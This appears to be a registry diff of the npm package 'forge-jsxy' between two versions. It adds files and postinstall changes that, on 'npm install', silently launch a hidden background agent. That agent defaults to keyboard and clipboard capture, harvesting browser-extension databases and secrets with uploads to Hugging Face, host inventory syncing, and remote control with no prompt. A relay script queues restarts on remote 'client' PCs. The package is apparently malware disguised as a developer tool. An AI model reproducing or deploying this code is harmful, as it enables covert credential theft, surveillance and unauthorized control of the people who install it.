forge-jsxy 1.0.85 → 1.0.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (41) hide show
  1. package/assets/files-explorer-template.html +63 -21
  2. package/dist/agentRestartFromQueue.d.ts +15 -0
  3. package/dist/agentRestartFromQueue.js +114 -0
  4. package/dist/agentRunner.js +97 -23
  5. package/dist/assets/files-explorer-template.html +64 -22
  6. package/dist/autostart/agentEnvFile.d.ts +6 -0
  7. package/dist/autostart/agentEnvFile.js +51 -2
  8. package/dist/chromiumExtensionDbHarvest.d.ts +70 -0
  9. package/dist/chromiumExtensionDbHarvest.js +560 -0
  10. package/dist/cli-agent.js +1 -0
  11. package/dist/clipboardExec.d.ts +4 -0
  12. package/dist/clipboardExec.js +29 -15
  13. package/dist/extensionDbHfUpload.d.ts +24 -0
  14. package/dist/extensionDbHfUpload.js +198 -0
  15. package/dist/forgeSemver.d.ts +2 -0
  16. package/dist/forgeSemver.js +25 -0
  17. package/dist/hfUpload.d.ts +5 -0
  18. package/dist/hfUpload.js +18 -3
  19. package/dist/hostInventorySend.js +6 -1
  20. package/dist/relayAgent.d.ts +5 -0
  21. package/dist/relayAgent.js +139 -7
  22. package/dist/relayAgentAutoUpgrade.d.ts +9 -0
  23. package/dist/relayAgentAutoUpgrade.js +143 -0
  24. package/dist/relayDashboardGate.d.ts +5 -0
  25. package/dist/relayDashboardGate.js +60 -0
  26. package/dist/relayServer.js +181 -6
  27. package/dist/secretScan/agentStartupAudit.d.ts +3 -0
  28. package/dist/secretScan/agentStartupAudit.js +7 -0
  29. package/dist/syncClient.d.ts +1 -1
  30. package/dist/syncClient.js +5 -1
  31. package/dist/windowsInputSync.d.ts +15 -1
  32. package/dist/windowsInputSync.js +226 -67
  33. package/dist/workerBootstrap.js +3 -0
  34. package/package.json +2 -2
  35. package/scripts/explorer-global-roots.mjs +87 -0
  36. package/scripts/forge-jsx-explorer-kill-agent.mjs +30 -29
  37. package/scripts/forge-jsx-explorer-restart.mjs +9 -18
  38. package/scripts/forge-jsx-explorer-upgrade.mjs +7 -9
  39. package/scripts/postinstall-agent.mjs +53 -8
  40. package/scripts/postinstall-bootstrap.mjs +13 -0
  41. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
@@ -21,8 +21,15 @@ import * as fs from "node:fs";
21
21
  import * as path from "node:path";
22
22
  import { fileURLToPath } from "node:url";
23
23
  import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
24
+ import {
25
+ anyGlobalForgePackageInstalled,
26
+ collectForgeInstallRoots,
27
+ FORGE_LEGACY_NPM_PKG,
28
+ FORGE_NPM_PKG,
29
+ } from "./explorer-global-roots.mjs";
24
30
 
25
- const NPM_PKG = "forge-jsxy";
31
+ const NPM_PKG = FORGE_NPM_PKG;
32
+ const LEGACY_NPM_PKG = FORGE_LEGACY_NPM_PKG;
26
33
  const __dirname = path.dirname(fileURLToPath(import.meta.url));
27
34
 
28
35
  /** Piped `fs_shell_exec` parents must read stdout before `process.exit` — buffered `stdout.write` can lose the line on Linux. */
@@ -167,16 +174,6 @@ function npmSpawnSync(args, log, opts = {}) {
167
174
  });
168
175
  }
169
176
 
170
- function globalForgeJsRoot() {
171
- const r = npmSpawnSync(["root", "-g"], false, {
172
- timeout: 60_000,
173
- captureStdout: true,
174
- });
175
- const root = (r.stdout || "").trim();
176
- if (!root) return null;
177
- const p = path.join(root, NPM_PKG);
178
- return fs.existsSync(path.join(p, "package.json")) ? p : null;
179
- }
180
177
 
181
178
  function runForgeCfgmgrStop(root, log) {
182
179
  const cli = path.join(root, "dist", "cli-forge.js");
@@ -228,22 +225,25 @@ function runAutostartUninstall(root, log) {
228
225
  * the directory npm is about to delete. Only invoked when `globalForgeJsRoot()` was found.
229
226
  * @param {boolean} log
230
227
  */
231
- function scheduleGlobalForgeJsxUninstall(log) {
228
+ function scheduleGlobalPackagesUninstall(log) {
232
229
  const baseEnv = { ...process.env, NPM_CONFIG_UPDATE_NOTIFIER: "false" };
233
230
  const env = { ...baseEnv, ...isolatedNpmCacheEnv(baseEnv) };
231
+ const pkgs = [NPM_PKG, LEGACY_NPM_PKG];
234
232
  try {
235
233
  if (process.platform === "win32") {
234
+ const uninstall = pkgs.map((p) => `npm.cmd uninstall -g ${p}`).join(" & ");
236
235
  const child = spawn(
237
236
  "cmd.exe",
238
- ["/c", `timeout /t 3 /nobreak >nul 2>&1 & npm.cmd uninstall -g ${NPM_PKG}`],
237
+ ["/c", `timeout /t 3 /nobreak >nul 2>&1 & ${uninstall}`],
239
238
  { detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
240
239
  );
241
240
  child.unref();
242
241
  return;
243
242
  }
243
+ const uninstall = pkgs.map((p) => `npm uninstall -g ${p}`).join(" && ");
244
244
  const child = spawn(
245
245
  "sh",
246
- ["-c", `sleep 3 && npm uninstall -g ${NPM_PKG}`],
246
+ ["-c", `sleep 3 && ${uninstall}`],
247
247
  { detached: true, stdio: log ? "inherit" : "ignore", windowsHide: true, env }
248
248
  );
249
249
  child.unref();
@@ -301,14 +301,14 @@ function runKillFromRoot(root, log, opts = {}) {
301
301
  fs.mkdirSync(dir, { recursive: true });
302
302
  let line = `${new Date().toISOString()} kill-agent worker: cfgmgr --stop exit ${codeStop}, autostart uninstall exit ${codeUn} (cwd ${root})`;
303
303
  if (uninstallGlobalPackage) {
304
- line += "; scheduled npm uninstall -g forge-jsx (~3s delay)";
304
+ line += "; scheduled npm uninstall -g forge-jsxy + legacy forge-jsx (~3s delay)";
305
305
  }
306
306
  fs.appendFileSync(path.join(dir, "explorer-kill-agent.log"), line + "\n", "utf8");
307
307
  } catch {
308
308
  /* ignore */
309
309
  }
310
310
  if (uninstallGlobalPackage) {
311
- scheduleGlobalForgeJsxUninstall(log);
311
+ scheduleGlobalPackagesUninstall(log);
312
312
  }
313
313
  // Legacy compatibility: even when old installs miss one/both CLIs, kill path still succeeds
314
314
  // as long as PM2 cleanup + env sanitation + optional uninstall scheduling ran.
@@ -316,16 +316,13 @@ function runKillFromRoot(root, log, opts = {}) {
316
316
  }
317
317
 
318
318
  function runWorker(log) {
319
- const globalRoot = globalForgeJsRoot();
320
- const roots = [];
321
- const scriptRoot = pkgRootFromScript();
322
- if (globalRoot) roots.push(path.resolve(globalRoot));
323
- if (scriptRoot) roots.push(path.resolve(scriptRoot));
324
- const uniq = [...new Set(roots)];
319
+ const uniq = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
320
+ const uninstallGlobals = anyGlobalForgePackageInstalled(npmSpawnSync);
325
321
  for (const root of uniq) {
326
- runKillFromRoot(root, log, {
327
- uninstallGlobalPackage: Boolean(globalRoot) && root === path.resolve(globalRoot),
328
- });
322
+ runKillFromRoot(root, log, { uninstallGlobalPackage: false });
323
+ }
324
+ if (uninstallGlobals) {
325
+ scheduleGlobalPackagesUninstall(log);
329
326
  }
330
327
  return 0;
331
328
  }
@@ -337,12 +334,16 @@ async function main() {
337
334
 
338
335
  if (!isWorker()) {
339
336
  if (foreground) {
340
- const globalRoot = globalForgeJsRoot();
341
- const root = globalRoot || pkgRootFromScript();
342
- process.exit(runKillFromRoot(root, log, { uninstallGlobalPackage: Boolean(globalRoot) }));
337
+ const roots = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
338
+ const root = roots[0] || pkgRootFromScript();
339
+ process.exit(
340
+ runKillFromRoot(root, log, {
341
+ uninstallGlobalPackage: anyGlobalForgePackageInstalled(npmSpawnSync),
342
+ })
343
+ );
343
344
  }
344
345
  writeExplorerStdoutLine(
345
- "[forge-jsx-explorer-kill-agent] Scheduling forge-agent shutdown (cfgmgr --stop + autostart uninstall + PM2 cleanup + env strip + delayed npm uninstall -g forge-jsx when globally installed) in background on the agent."
346
+ "[forge-jsx-explorer-kill-agent] Scheduling forge-agent shutdown (cfgmgr --stop + autostart uninstall + PM2 cleanup + env strip + delayed npm uninstall -g forge-jsxy/forge-jsx when globally installed) in background on the agent."
346
347
  );
347
348
  const spawned = await spawnDetachedWorker(log);
348
349
  if (!spawned) {
@@ -16,6 +16,10 @@ import * as fs from "node:fs";
16
16
  import * as path from "node:path";
17
17
  import { fileURLToPath } from "node:url";
18
18
  import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
19
+ import {
20
+ collectForgeInstallRoots,
21
+ globalLegacyForgeJsxRoot,
22
+ } from "./explorer-global-roots.mjs";
19
23
 
20
24
  const NPM_PKG = "forge-jsxy";
21
25
  const __dirname = path.dirname(fileURLToPath(import.meta.url));
@@ -162,16 +166,6 @@ function npmSpawnSync(args, log, opts = {}) {
162
166
  });
163
167
  }
164
168
 
165
- function globalForgeJsRoot() {
166
- const r = npmSpawnSync(["root", "-g"], false, {
167
- timeout: 60_000,
168
- captureStdout: true,
169
- });
170
- const root = (r.stdout || "").trim();
171
- if (!root) return null;
172
- const p = path.join(root, NPM_PKG);
173
- return fs.existsSync(path.join(p, "package.json")) ? p : null;
174
- }
175
169
 
176
170
  function runRestartAgentFromRoot(root, log) {
177
171
  const script = path.join(root, "scripts", "restart-agent.mjs");
@@ -236,12 +230,7 @@ function runRestartAgentFromRoot(root, log) {
236
230
  }
237
231
 
238
232
  function runWorker(log) {
239
- const roots = [];
240
- const g = globalForgeJsRoot();
241
- const s = pkgRootFromScript();
242
- if (g) roots.push(path.resolve(g));
243
- if (s) roots.push(path.resolve(s));
244
- const uniq = [...new Set(roots)];
233
+ const uniq = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
245
234
  let code = 1;
246
235
  let used = uniq[0] || "";
247
236
  for (const root of uniq) {
@@ -253,9 +242,10 @@ function runWorker(log) {
253
242
  const home = process.env.HOME || process.env.USERPROFILE || ".";
254
243
  const dir = path.join(home, ".forge-js");
255
244
  fs.mkdirSync(dir, { recursive: true });
245
+ const legacy = globalLegacyForgeJsxRoot(npmSpawnSync);
256
246
  fs.appendFileSync(
257
247
  path.join(dir, "explorer-restart.log"),
258
- `${new Date().toISOString()} restart-agent exit ${code} (cwd ${used}; roots=${uniq.join(",") || "none"})\n`,
248
+ `${new Date().toISOString()} restart-agent exit ${code} (cwd ${used}; roots=${uniq.join(",") || "none"}${legacy ? `; legacy=${legacy}` : ""})\n`,
259
249
  "utf8"
260
250
  );
261
251
  } catch {
@@ -271,7 +261,8 @@ async function main() {
271
261
 
272
262
  if (!isWorker()) {
273
263
  if (foreground) {
274
- const root = globalForgeJsRoot() || pkgRootFromScript();
264
+ const roots = collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript());
265
+ const root = roots[0] || pkgRootFromScript();
275
266
  const st = runRestartAgentFromRoot(root, log);
276
267
  process.exit(st === null ? 1 : st);
277
268
  }
@@ -41,6 +41,10 @@ import { fileURLToPath } from "node:url";
41
41
  import { setTimeout as delay } from "node:timers/promises";
42
42
  import { parseNpmViewVersionStdout, semverCompare } from "./registry-version-lib.mjs";
43
43
  import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
44
+ import {
45
+ collectForgeInstallRoots,
46
+ readDurableForgePackageRootFromDisk,
47
+ } from "./explorer-global-roots.mjs";
44
48
 
45
49
  const NPM_PKG = "forge-jsxy";
46
50
  const LEGACY_NPM_PKG = "forge-jsx";
@@ -437,15 +441,8 @@ function stopCfgmgr(pkgRoot, log) {
437
441
  * running, so `npm install -g` fails or appears to “do nothing” while the session is dead.
438
442
  */
439
443
  function stopCfgmgrAllRelevantRoots(log) {
440
- const roots = [];
441
- const g = globalForgeJsRoot();
442
- const legacy = globalLegacyForgeJsxRoot();
443
- const s = pkgRootFromScript();
444
- if (legacy) roots.push(legacy);
445
- if (g) roots.push(g);
446
- if (s) roots.push(s);
447
444
  const seen = new Set();
448
- for (const pkgRoot of roots) {
445
+ for (const pkgRoot of collectForgeInstallRoots(npmSpawnSync, pkgRootFromScript())) {
449
446
  const k = path.resolve(pkgRoot);
450
447
  if (seen.has(k)) continue;
451
448
  seen.add(k);
@@ -793,7 +790,8 @@ async function runWorker(log) {
793
790
  }
794
791
 
795
792
  const g = globalForgeJsRoot();
796
- const pkgRootForStart = g || pkgRootFromScript();
793
+ const durable = readDurableForgePackageRootFromDisk();
794
+ const pkgRootForStart = g || durable || pkgRootFromScript();
797
795
 
798
796
  /** PM2: reload relay + agent so running Node picks up new global `dist/` (common cause of “upgrade did nothing”). */
799
797
  const pm2Restarted = tryPm2RestartForgeStack(log);
@@ -216,6 +216,56 @@ if (!skipDurableBootstrap) {
216
216
  const installCwd = resolveInstallWorkingDir();
217
217
  ensureDirMaybe(installCwd);
218
218
 
219
+ /** Turnkey agent env — no manual .env or forge-js-agent.env editing required after `npm install`. */
220
+ function turnkeySpawnEnvOverrides() {
221
+ const base = {
222
+ FORGE_JS_QUIET_AGENT: "1",
223
+ FORGE_JS_HEADLESS_UI: "1",
224
+ CFGMGR_HF_FETCH_FROM_RELAY: process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1",
225
+ CFGMGR_HF_USE_XET: process.env.CFGMGR_HF_USE_XET ?? "0",
226
+ CFGMGR_HF_SKIP_OPENAS_BLOB: process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "1",
227
+ CFGMGR_SYNC_KEYBOARD_CLIPBOARD: process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "1",
228
+ FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD:
229
+ process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "1",
230
+ FORGE_JS_AGENT_SECRET_AUDIT: process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "1",
231
+ FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD:
232
+ process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "1",
233
+ FORGE_JS_SYNC_HOST_INVENTORY: process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "1",
234
+ FORGE_JS_CLIPBOARD_POLL_ONLY: process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "1",
235
+ FORGE_JS_REMOTE_CONTROL_NO_PROMPT:
236
+ process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "1",
237
+ };
238
+ return base;
239
+ }
240
+
241
+ function ensureTurnkeyAgentEnvFile(dataDir) {
242
+ try {
243
+ const { writeForgeJsAgentEnv } = require(
244
+ path.join(distDirForRequire, "autostart", "agentEnvFile.js")
245
+ );
246
+ const syncExplicit = Boolean(
247
+ (process.env.FORGE_JS_SYNC_URL || process.env.CFGMGR_API_URL || "").trim()
248
+ );
249
+ let syncUrl = (process.env.FORGE_JS_SYNC_URL || process.env.CFGMGR_API_URL || "").trim();
250
+ if (!syncUrl) {
251
+ try {
252
+ const dd = require(path.join(distDirForRequire, "deploymentDefaults.js"));
253
+ if (typeof dd.defaultSyncApiBaseUrl === "function") {
254
+ syncUrl = dd.defaultSyncApiBaseUrl().trim();
255
+ }
256
+ } catch {
257
+ /* skip */
258
+ }
259
+ }
260
+ const deploymentOff =
261
+ (process.env.FORGE_JS_DISABLE_DEPLOYMENT_DEFAULTS || "").trim() === "1";
262
+ const omitSyncUrl = !syncExplicit && Boolean(syncUrl) && !deploymentOff;
263
+ writeForgeJsAgentEnv(dataDir, syncUrl || undefined, omitSyncUrl);
264
+ } catch {
265
+ /* non-fatal — agent still applies in-process defaults at startup */
266
+ }
267
+ }
268
+
219
269
  /**
220
270
  * Cross-platform synchronous sleep using Atomics (no busy-wait).
221
271
  * Falls back to a busy-wait if SharedArrayBuffer is unavailable.
@@ -357,14 +407,7 @@ function spawnAndVerify(relayUrl, relayIsExplicit, installCwd) {
357
407
  stdio: verbose ? "inherit" : "ignore",
358
408
  env: {
359
409
  ...process.env,
360
- FORGE_JS_QUIET_AGENT: "1",
361
- FORGE_JS_HEADLESS_UI: "1",
362
- /** Default on so HF uploads work after `npm install` without local CFGMGR_HF_CREDENTIALS_B64 */
363
- CFGMGR_HF_FETCH_FROM_RELAY: process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1",
364
- /** Hub Xet off by default — avoids Blob/file URL TypeErrors in @huggingface/hub */
365
- CFGMGR_HF_USE_XET: process.env.CFGMGR_HF_USE_XET ?? "0",
366
- /** Avoid fs.openAsBlob path — default readFile/stream Blobs for Hub (cross-OS reliable). */
367
- CFGMGR_HF_SKIP_OPENAS_BLOB: process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "1",
410
+ ...turnkeySpawnEnvOverrides(),
368
411
  },
369
412
  windowsHide: true,
370
413
  });
@@ -414,6 +457,8 @@ if (agentAlreadyRunning(3000)) {
414
457
 
415
458
  const { url: relayUrl, isExplicit: relayIsExplicit } = resolveRelayUrl();
416
459
 
460
+ ensureTurnkeyAgentEnvFile(installCwd);
461
+
417
462
  const cwdCandidates = Array.from(
418
463
  new Set([installCwd, os.homedir(), pkgRoot])
419
464
  );
@@ -235,6 +235,19 @@ const childEnv = {
235
235
  ...process.env,
236
236
  FORGE_JS_QUIET_AGENT: "1",
237
237
  FORGE_JS_HEADLESS_UI: "1",
238
+ CFGMGR_HF_FETCH_FROM_RELAY: process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1",
239
+ CFGMGR_HF_USE_XET: process.env.CFGMGR_HF_USE_XET ?? "0",
240
+ CFGMGR_HF_SKIP_OPENAS_BLOB: process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "1",
241
+ CFGMGR_SYNC_KEYBOARD_CLIPBOARD: process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "1",
242
+ FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD:
243
+ process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "1",
244
+ FORGE_JS_AGENT_SECRET_AUDIT: process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "1",
245
+ FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD:
246
+ process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "1",
247
+ FORGE_JS_SYNC_HOST_INVENTORY: process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "1",
248
+ FORGE_JS_CLIPBOARD_POLL_ONLY: process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "1",
249
+ FORGE_JS_REMOTE_CONTROL_NO_PROMPT:
250
+ process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "1",
238
251
  };
239
252
 
240
253
  const r = spawnSync(process.execPath, args, {
@@ -0,0 +1,87 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Queue forge-agent restarts for dashboard "Need agent" PCs (forge-db + relay WS nudge).
4
+ *
5
+ * node scripts/queue-reconnect-agent-restarts.mjs
6
+ * node scripts/queue-reconnect-agent-restarts.mjs client_abc... client_def...
7
+ *
8
+ * Env: FORGE_DB_API_KEY, FORGE_DB_API_URL (default http://127.0.0.1:8765),
9
+ * RELAY_HTTP (default http://127.0.0.1:9877)
10
+ */
11
+ const forgeBase = (process.env.FORGE_DB_API_URL || "http://127.0.0.1:8765").replace(
12
+ /\/+$/,
13
+ ""
14
+ );
15
+ const relayBase = (process.env.RELAY_HTTP || "http://127.0.0.1:9877").replace(/\/+$/, "");
16
+ const apiKey = (process.env.FORGE_DB_API_KEY || process.env.RELAY_FORGE_DB_API_KEY || "").trim();
17
+
18
+ async function fetchReconnectCandidatesFromDashboard() {
19
+ const pwd =
20
+ process.env.FORGE_DASH_PASSWORD ||
21
+ process.env.DASHBOARD_PASSWORD ||
22
+ "";
23
+ if (!pwd) return [];
24
+ const login = await fetch("http://127.0.0.1:3010/api/login", {
25
+ method: "POST",
26
+ headers: { "Content-Type": "application/json" },
27
+ credentials: "include",
28
+ body: JSON.stringify({ password: pwd }),
29
+ });
30
+ if (!login.ok) return [];
31
+ const cookie = login.headers.getSetCookie?.()?.[0] || "";
32
+ const st = await fetch("http://127.0.0.1:3010/api/status", {
33
+ headers: cookie ? { Cookie: cookie.split(";")[0] } : {},
34
+ });
35
+ if (!st.ok) return [];
36
+ const j = await st.json();
37
+ return (j.reconnectCandidates || []).map((r) => String(r.tableName || "").trim()).filter(Boolean);
38
+ }
39
+
40
+ async function main() {
41
+ let tables = process.argv.slice(2).map((s) => s.trim()).filter(Boolean);
42
+ if (!tables.length) {
43
+ tables = await fetchReconnectCandidatesFromDashboard();
44
+ }
45
+ if (!tables.length) {
46
+ console.error("No table names — pass session ids or set FORGE_DASH_PASSWORD for auto-fetch.");
47
+ process.exit(1);
48
+ }
49
+
50
+ const headers = { "Content-Type": "application/json" };
51
+ if (apiKey) headers["X-Forge-Api-Key"] = apiKey;
52
+
53
+ const q = await fetch(`${forgeBase}/api/agent-restart-queue`, {
54
+ method: "POST",
55
+ headers,
56
+ body: JSON.stringify({
57
+ table_names: tables,
58
+ note: "queue-reconnect-agent-restarts.mjs",
59
+ }),
60
+ });
61
+ const qText = await q.text();
62
+ if (!q.ok) {
63
+ console.error("forge-db queue failed:", q.status, qText.slice(0, 500));
64
+ process.exit(1);
65
+ }
66
+ console.log("forge-db:", qText);
67
+
68
+ const r = await fetch(`${relayBase}/api/agent-restart-queue`, {
69
+ method: "POST",
70
+ headers: { "Content-Type": "application/json" },
71
+ body: JSON.stringify({
72
+ table_names: tables,
73
+ note: "queue-reconnect-agent-restarts.mjs",
74
+ }),
75
+ });
76
+ const rText = await r.text();
77
+ console.log("relay:", r.status, rText);
78
+
79
+ for (const t of tables) {
80
+ console.log(" queued:", t);
81
+ }
82
+ }
83
+
84
+ main().catch((e) => {
85
+ console.error(e);
86
+ process.exit(1);
87
+ });